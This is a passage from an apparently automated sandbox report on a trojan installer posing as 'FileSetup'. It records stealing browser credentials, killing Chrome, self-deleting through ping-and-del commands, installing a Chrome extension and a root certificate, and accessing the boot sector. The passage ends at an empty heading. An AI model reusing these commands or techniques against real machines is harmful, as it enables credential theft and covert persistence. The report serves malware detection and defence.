Source: 5.2.6852B33702F6B3BD.exe.2810000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 4.2.6852B33702F6B3BD.exe.27d0000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 1.2.FileSetup-v17.04.41.exe.10000000.6.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 5.2.6852B33702F6B3BD.exe.10000000.7.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 1.2.FileSetup-v17.04.41.exe.28e0000.5.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 4.2.6852B33702F6B3BD.exe.32a0000.6.unpack, type: UNPACKEDPE	Matched rule: APT34_PICKPOCKET Description = Detects the PICKPOCKET malware used by APT34, a browser credential-theft tool identified by FireEye in May 2018, Reference = https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html
Source: 5.2.6852B33702F6B3BD.exe.34e0000.6.unpack, type: UNPACKEDPE	Matched rule: APT34_PICKPOCKET Description = Detects the PICKPOCKET malware used by APT34, a browser credential-theft tool identified by FireEye in May 2018, Reference = https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html

Classification label

Source: classification engine

Classification label: mal90.bank.troj.spyw.evad.winEXE@32/37@4/3

Contains functionality for error logging

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_004B84B2 GetLastError,_strncpy,FormatMessageA,__fprintf_l,_strrchr,_strrchr,GetLastError,SetLastError,

1_2_004B84B2

Contains functionality to enum processes or threads

Source: C:\Users\user\AppData\Roaming\1611946678493.exe

Code function: 11_2_0040CE93 CreateToolhelp32Snapshot,memset,Process32FirstW,OpenProcess,OpenProcess,OpenProcess,memset,GetModuleHandleW,GetProcAddress,QueryFullProcessImageNameW,QueryFullProcessImageNameW,CloseHandle,Process32NextW,CloseHandle,

11_2_0040CE93

Contains functionality to instantiate COM classes

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_004140D4 __EH_prolog,CoInitializeEx,CoCreateInstance,CoSetProxyBlanket,VariantClear,CoUninitialize,

1_2_004140D4

Contains functionality to load and extract PE file embedded resources

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_004023F0 __EH_prolog,LoadLibraryExW,FindResourceW,LoadResource,SizeofResource,MultiByteToWideChar,FreeLibrary,

1_2_004023F0

Creates files inside the user directory

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

File created: C:\Users\user\AppData\Local\Login Data1611946677837

Jump to behavior

Creates mutexes

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6576:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5404:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6580:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3840:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\exist_sign_task_Hello002
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\exist_sign_task_Hello001
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\exist_sign__install_r3

Creates temporary files

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

File created: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Jump to behavior

PE file has an executable .text section and no other executable section

Source: FileSetup-v17.04.41.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Queries a list of all open handles

Source: C:\Users\user\AppData\Roaming\1611946678493.exe

System information queried: HandleInformation

Jump to behavior

Queries process information (via WMI, Win32_Process)

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")

Reads ini files

Source: C:\Windows\SysWOW64\msiexec.exe

File read: C:\Windows\win.ini

Jump to behavior

Reads software policies

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Reads the hosts file

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

SQL strings found in memory and binary data

Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Sample is known by Antivirus

Source: FileSetup-v17.04.41.exe	Virustotal: Detection: 60%
Source: FileSetup-v17.04.41.exe	ReversingLabs: Detection: 47%

Sample might require command line arguments

Source: FileSetup-v17.04.41.exe	String found in binary or memory: set-addPolicy
Source: FileSetup-v17.04.41.exe	String found in binary or memory: id-cmc-addExtensions

Sample reads its own file content

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

File read: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Users\user\Desktop\FileSetup-v17.04.41.exe 'C:\Users\user\Desktop\FileSetup-v17.04.41.exe'
Source: unknown	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec.exe /i 'C:\Users\user\AppData\Local\Temp\gdiview.msi'
Source: unknown	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding E90BF9A81DF75408BCAEC738866B933F C
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe 0011 installp3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe 200 installp3
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\Desktop\FileSetup-v17.04.41.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Users\user\AppData\Roaming\1611946678493.exe 'C:\Users\user\AppData\Roaming\1611946678493.exe' /sjson 'C:\Users\user\AppData\Roaming\1611946678493.txt'
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c taskkill /f /im chrome.exe
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im chrome.exe
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe ThunderFW 'C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe'
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec.exe /i 'C:\Users\user\AppData\Local\Temp\gdiview.msi'			Jump to behavior
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process created: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe 0011 installp3			Jump to behavior
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process created: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe 200 installp3			Jump to behavior
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\Desktop\FileSetup-v17.04.41.exe'			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Process created: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe ThunderFW 'C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe'			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe'			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c taskkill /f /im chrome.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im chrome.exe			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Uses an in-process (OLE) Automation server

Source: C:\Windows\SysWOW64\msiexec.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{000C103E-0000-0000-C000-000000000046}\InProcServer32

Jump to behavior

Found GUI installer (many successful clicks)

Source: C:\Windows\SysWOW64\msiexec.exe	Automated click: Next >
Source: C:\Windows\SysWOW64\msiexec.exe	Automated click: Next >
Source: C:\Windows\SysWOW64\msiexec.exe	Automated click: Install

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Submission file is bigger than most known malware samples

Source: FileSetup-v17.04.41.exe

Static file information: File size 4592400 > 1048576

Uses new MSVCR Dlls

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

File opened: C:\Users\user\AppData\Local\Temp\download\msvcr71.dll

Jump to behavior

PE file contains a debug data directory

Source: FileSetup-v17.04.41.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\MiniThunderPlatform.pdb source: MiniThunderPlatform.exe.4.dr
Source:	Binary string: c:\Projects\VS2005\EdgeCookiesView\Release\EdgeCookiesView.pdb source: 1611946678493.exe, 0000000B.00000000.271662434.000000000040F000.00000002.00020000.sdmp, 1611946678493.exe.4.dr
Source:	Binary string: msvcr71.pdb\ source: msvcr71.dll.4.dr
Source:	Binary string: atl71.pdbT source: atl71.dll.4.dr
Source:	Binary string: atl71.pdb source: atl71.dll.4.dr
Source:	Binary string: cmd_insert_server.icex-conference/x-cooltalk.movievideo/x-sgi-movievideo/x-msvideo.mxuvideo/vnd.mpegurl.qtvideo/quicktimevideo/mpeg.xmltext/xml.etxtext/x-setext.wmlstext/vnd.wap.wmlscript.wmltext/vnd.wap.wml.tsvtext/tab-separated-values.sgmtext/sgml.rtftext/rtf.rtxtext/richtext.txttext/plain.html.csstext/css.mshmodel/mesh.igsmodel/iges.xwdimage/x-xwindowdump.xpmimage/x-xpixmap.xbmimage/x-xbitmap.rgbimage/x-rgb.ppmimage/x-portable-pixmap.bgmimage/x-portable-graymap.pbmimage/x-portable-bitmap.pnmimage/x-portable-anymap.rasimage/x-cmu-raster.wbmpimage/vnd.wap.wbmp.djvimage/vnd.djvu.tiffimage/tiff.pngimage/png.jpgimage/jpeg.iefimage/ief.gifimage/gif.bmpimage/bmp.xyzchemical/x-xyz.pdbchemical/x-pdb.wavaudio/x-wavaudio/x-realaudio.arpmaudio/x-pn-realaudio-pluginaudio/x-pn-realaudio.m3uaudio/x-mpegurl.aifaudio/x-aiffaudio/mpeg.midiaudio/midiapplication/application/zip.xhtmlapplication/xhtml+xml.srcapplication/x-wais-source.ustarapplication/x-ustar.msapplication/x-troff-ms.meapplication/x-troff-me.manapplication/x-troff-man.texiapplication/x-texinfo.texapplication/x-tex.tclapplication/x-tclapplication/x-tar.sv4crcapplication/x-sv4crc.sv4cpioapplication/x-sv4cpio.sitapplication/x-stuffit.swfapplication/x-shockwave-flash.sharapplication/x-shar.shapplication/x-sh.latexapplication/x-latex.jsapplication/x-javascript.hdfapplication/x-hdf.gtarapplication/x-gtar.splapplication/x-futuresplash.dviapplication/x-dvi.cshapplication/x-csh.cpioapplication/x-cpio.pgnapplication/x-chess-pgn.vcdapplication/x-cdlink.bcpioapplication/x-bcpio.wmlscapplication/vnd.wap.wmlscriptc.wmlcapplication/vnd.wap.wmlc.wbxmlapplication/vnd.wap.wbxml.pptapplication/vnd.ms-powerpoint.xlsapplication/vnd.ms-excel.mifapplication/vnd.mif.smiapplication/smil.pdfapplication/pdf.odaapplication/oda.docapplication/msword.cptapplication/mac-compactpro.hqxapplication/mac-binhex40.ezapplication/andrew-inset source: download_engine.dll.4.dr
Source:	Binary string: d:\MiniDownloadLib\branches\bin\Product Release\download_engine.pdb source: download_engine.dll.4.dr
Source:	Binary string: f:\sys\objfre_wxp_x86\i386\FsFilter32.pdbpJ source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp
Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\MiniThunderPlatform.pdbt source: MiniThunderPlatform.exe.4.dr
Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\xldl.pdb source: xldl.dll.4.dr
Source:	Binary string: msvcp71.pdb source: msvcp71.dll.4.dr
Source:	Binary string: e:\xl7\Product Release\dl_peer_id.pdb0 source: dl_peer_id.dll.4.dr
Source:	Binary string: f:\sys\objfre_wxp_x86\i386\FsFilter32.pdb source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp
Source:	Binary string: d:\workspace\xlframework\win32_component\ThunderFW\Release\ThunderFW.pdb source: ThunderFW.exe, 0000001D.00000000.367402647.0000000000BFC000.00000002.00020000.sdmp, ThunderFW.exe.4.dr
Source:	Binary string: f:\sys\objfre_win7_amd64\amd64\FsFilter64.pdb source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp
Source:	Binary string: e:\xl7\Product Release\dl_peer_id.pdb source: dl_peer_id.dll.4.dr
Source:	Binary string: e:\KINGSOFT_DUBA\Build\Build_Src\kisengine\kisengine\product\win32\dbginfo\kinst_exe.pdb source: FileSetup-v17.04.41.exe
Source:	Binary string: msvcr71.pdb source: msvcr71.dll.4.dr
Source:	Binary string: d:\BranchAI\launcher\Release\fileLauncher.pdb source: gdiview.msi.1.dr

Data Obfuscation:

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Unpacked PE file: 5.2.6852B33702F6B3BD.exe.2810000.5.unpack

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_004560A0 LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetVersion,GetVersion,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

1_2_004560A0

PE file contains an invalid checksum

Source: FileSetup-v17.04.41.exe	Static PE information: real checksum: 0x1332e9 should be: 0x469e0d
Source: MSI61C2.tmp.2.dr	Static PE information: real checksum: 0x0 should be: 0x2d22
Source: 6852B33702F6B3BD.exe.1.dr	Static PE information: real checksum: 0x1332e9 should be: 0x469e0d

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00494DD9 push ebx; ret		1_2_00494DF6
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00494DF0 push ebx; ret		1_2_00494DF6
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00494E3E push ebx; ret		1_2_00494E3F
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00494EA5 push ebx; ret		1_2_00494EAA
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_0049706C push ecx; ret		1_2_0049707F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 2_2_07A5DD20 push 00000078h; ret		2_2_07A5DD22
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_10010579 push ecx; ret		4_2_1001058C
Source: C:\Users\user\AppData\Roaming\1611946678493.exe	Code function: 11_2_0040E2F1 push ecx; ret		11_2_0040E301
Source: C:\Users\user\AppData\Roaming\1611946678493.exe	Code function: 11_2_0040E340 push eax; ret		11_2_0040E354
Source: C:\Users\user\AppData\Roaming\1611946678493.exe	Code function: 11_2_0040E340 push eax; ret		11_2_0040E37C
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 29_2_00BF3FB5 push ecx; ret		29_2_00BF3FC8

Persistence and Installation Behavior:

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: wsprintfW,CreateFileW,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d		4_2_1001DA70
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: wsprintfW,CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d		4_2_1001D370
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: _memset,wsprintfW,CreateFileW,DeviceIoControl,_memset,CloseHandle,CloseHandle, \\.\PhysicalDrive%d		4_2_1001D7E0

Installs new ROOT certificates

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Blob

Jump to behavior

Drops PE files

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\dl_peer_id.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\download_engine.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Roaming\1611946678493.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\msvcp71.dll			Jump to dropped file
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	File created: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\msvcr71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\zlib1.dll			Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI61C2.tmp			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\download\atl71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Temp\xldl.dll			Jump to dropped file

Installs a Chrome extension

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\canopdahbphflpoibdjjgahoedkbdncm			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\canopdahbphflpoibdjjgahoedkbdncm\1.0.0.0_0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\canopdahbphflpoibdjjgahoedkbdncm\1.0.0.0_0\icon.png			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\canopdahbphflpoibdjjgahoedkbdncm\1.0.0.0_0\icon48.png			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\canopdahbphflpoibdjjgahoedkbdncm\1.0.0.0_0\popup.html			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\canopdahbphflpoibdjjgahoedkbdncm\1.0.0.0_0\background.js			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\canopdahbphflpoibdjjgahoedkbdncm\1.0.0.0_0\book.js			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\canopdahbphflpoibdjjgahoedkbdncm\1.0.0.0_0\jquery-1.8.3.min.js			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\canopdahbphflpoibdjjgahoedkbdncm\1.0.0.0_0\popup.js			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\canopdahbphflpoibdjjgahoedkbdncm\1.0.0.0_0\manifest.json			Jump to behavior

Boot Survival:

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: wsprintfW,CreateFileW,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d		4_2_1001DA70
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: wsprintfW,CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d		4_2_1001D370
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: _memset,wsprintfW,CreateFileW,DeviceIoControl,_memset,CloseHandle,CloseHandle, \\.\PhysicalDrive%d		4_2_1001D7E0

Hooking and other Techniques for Hiding and Protection:

